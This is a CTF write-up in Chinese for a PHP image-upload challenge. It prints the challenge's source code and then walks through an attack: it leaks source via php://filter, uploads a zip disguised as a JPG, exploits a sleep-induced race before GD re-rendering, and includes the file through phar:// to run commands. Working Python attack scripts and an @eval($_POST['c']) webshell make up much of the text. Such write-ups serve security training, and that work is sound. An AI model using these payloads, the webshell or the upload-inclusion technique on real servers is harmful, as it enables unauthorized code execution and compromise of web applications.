0x00
打开题目后如图,可判断为上传。但是测试上传绕过后,无法绕过,只能上传gif或者jpg,于是考虑文件包含。
对page进行测试,
http://202.112.51.217:8199/index.php?page=php://filter/convert.base64-encode/resource=index
分别拿到对应源码如下:
index.php
<?php
require("header.php");
$page="";
if (isset($_GET['page']))
{
$page=strtolower($_GET['page']);
$page=str_replace("#", "", $page);
$page=str_replace("'", "", $page);
$page=$page.".php";
}
else
$page="main.php";
include($page);
?>
submit.php
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>添加图片</title>
<script language="javascript">
<!--
function isok(theform)
{
if (myform.title.value=="")
{
alert("请填写图片标题!");
myform.title.focus();
return (false);
}
if (myform.url.value=="")
{
alert("请填写图片描述!");
myform.url.focus();
return (false);
}
return (true);
}
-->
</script>
<style type="text/css">
<!--
body {
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
</head>
<body>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
</table>
<table width="100%" border="0" align="center" cellpadding="3" cellspacing="1">
<tr>
<td height="30" align="center" bgcolor="799AE1"> </td>
</tr>
<tr>
<td height="30" align="center" bgcolor=""> </td>
</tr>
</table>
<table width="650" border="0" align="center" cellpadding="5" cellspacing="1" >
<tr>
<td><form id="myform" name="myform" enctype="multipart/form-data" method="post" action="upload.php" onSubmit="return isok(this)">
<table width="650" border="0" align="center" cellpadding="5" cellspacing="1" bgcolor="#DEDFDE">
<tr>
<td height="40" colspan="2" bgcolor="#CBD7EE"><div align="center">添加图片信息</div></td>
</tr>
<tr>
<td width="16%" align="center" bgcolor="#FFFFFF">图片标题:</td>
<td bgcolor="#FFFFFF"><input name="title" type="text" id="title" size="50" /></td>
</tr>
<tr>
<td height="22" align="center" bgcolor="#FFFFFF">图片描述:</td>
<td height="22" bgcolor="#FFFFFF"><input name="url" type="text" id="url" size="50" /></td>
</tr>
<tr>
<td height="22" align="center" bgcolor="#FFFFFF">上传图片:</td>
<td height="22" bgcolor="#FFFFFF"><input name="pic" type="file" id="pic" size="50" /></td>
</tr>
<tr>
<td bgcolor="#FFFFFF"> </td>
<td bgcolor="#FFFFFF"> <input type="submit" name="Submit" value="发布图片" /> </td>
</tr>
</table>
</form>
</td>
</tr>
</table>
</body>
</html>
view.php
<div class="container">
<form class="form-signin" action="show.php" method="GET">
<h2 class="form-signin-heading">View</h2>
<label for="PictureID" class="sr-only">PictureID</label>
<input type="text" id="PictureID" name="id" class="form-control" placeholder="PictureID" required autofocus>
<label for="PictureType" class="sr-only">PictureID</label>
<input type="text" id="PictureType" name="type" class="form-control" placeholder="PictureType">
<?php
if(isset($_GET['id'])&&isset($_GET['type']))
{
$filename=$_GET['id'].$_GET['type'];
}
?>
<button class="btn btn-lg btn-primary btn-block" type="submit">Submit</button>
</form>
</div>
upload.php
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<?php
$error=$_FILES['pic']['error'];
$tmpName=$_FILES['pic']['tmp_name'];
$name=$_FILES['pic']['name'];
$size=$_FILES['pic']['size'];
$type=$_FILES['pic']['type'];
try{
if($name!=="")
{
$name1=substr($name,-4);
if(($name1!==".gif") and ($name1!==".jpg"))
{
echo "hehe";
echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
exit;
}
if($type!=="image/jpeg"&&$type!=="image/gif")
{
//echo mime_content_type($tmpName);
echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
exit;
}
if(is_uploaded_file($tmpName)){
$time=time();
$rootpath='uploads/'.$time.$name1;
if(!move_uploaded_file($tmpName,$rootpath)){
echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>";
exit;
}
else{
sleep(2);
if ($type=='image/jpeg')
{
$im = @imagecreatefromjpeg($rootpath);
if(!$im){
$im = imagecreatetruecolor(150, 30);
$bg = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 0, 0, 255);
imagefilledrectangle($im, 0, 0, 150, 30, $bg);
imagestring($im, 3, 5, 5, "Error loading image", $text_color);
} else {
$time=time();
$new_rootpath='uploads/'.$time.$name1;
imagejpeg($im,$new_rootpath);
imagedestroy($im);
}
}
else if ($type=='image/gif')
{
$im = @imagecreatefromgif($rootpath);
if(!$im){
$im = imagecreatetruecolor(150, 30);
$bg = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 0, 0, 255);
imagefilledrectangle($im, 0, 0, 150, 30, $bg);
imagestring($im, 3, 5, 5, "Error loading image", $text_color);
} else {
$time=time();
$new_rootpath='uploads/'.$time.$name1;
imagegif($im,$new_rootpath);
imagedestroy($im);
}
}
unlink($rootpath);
}
}
echo "图片ID:".$time;
}
}
catch(Exception $e)
{
echo "ERROR";
}
//
?>
</html>
0x01 分析
- 可以发现主要的逻辑在upload.php中,分别对文件名后缀,mime进行了检测,满足要求后进行上传,之间有一个sleep(2),这是触发条件竞争的条件之一。
- 在文件上传之后,php会调用GD对文件进行渲染,无法渲染的异常文件会被删除,可渲染的文件中,嵌入的php语句基本被抹除。在删除前我们能够访问到文件即可达成目的。
注:存在特殊构造的png/gif/jpg图片,可绕过二次渲染。此处虽然存在第二条思路,即利用特殊图片绕过GD,进行包含[1]。 - 可以发现page包含时是有限制的本地包含,且php版本较高,无法使用%00截断,放弃直接包含,考虑使用phar或者zip协议。
0x02 测试
# encoding: utf-8
import requests
url = "http://202.112.51.217:8199/upload.php"
data = {
'title': 'admin',
'url': 'admin'
}
files = {'pic': ('xman.jpg', open("file.zip").read(), 'image/jpeg')}
#可以控制文件名以及文件类型
#可以绕过基于客户端的文件名和文件类型检测
response = requests.post(url, data=data, files=files)
content = response.content
print content
上传文件进行爆破time进行包含,多次尝试后失败,猜测可能存在其他方法更直接获取文件名,可以发现有列目录。
考虑上传后利用python获取文件名,并访问文件。
代码如下:
import requests
url = "http://202.112.51.217:8199/uploads/"
response = requests.get(url)
content = response.content
files = []
for line in content.split("\n"):
if "href=" in line:
files.append(line.split("href=\"")[1].split("\">")[0])
filename = files[-1]
print filename
url = "http://202.112.51.217:8199/index.php?page=phar://uploads/"+filename+"/e"
print requests.post(url,data={'c':"system('head *');"}).content
0x03 其他
包含方法:index.php?page=phar://uploads/"+filename+"/e
phar://uploads/filename/e
phar:// php>5.3 file=phar://压缩包(zip).png(.xxx)/内部文件
用法请参考 http://4o4notfound.org/index.php/archives/31/
其中e.php内容为
<?php
@eval($_POST['c']);
?>
[1].http://www.freebuf.com/articles/web/54086.html
xmsec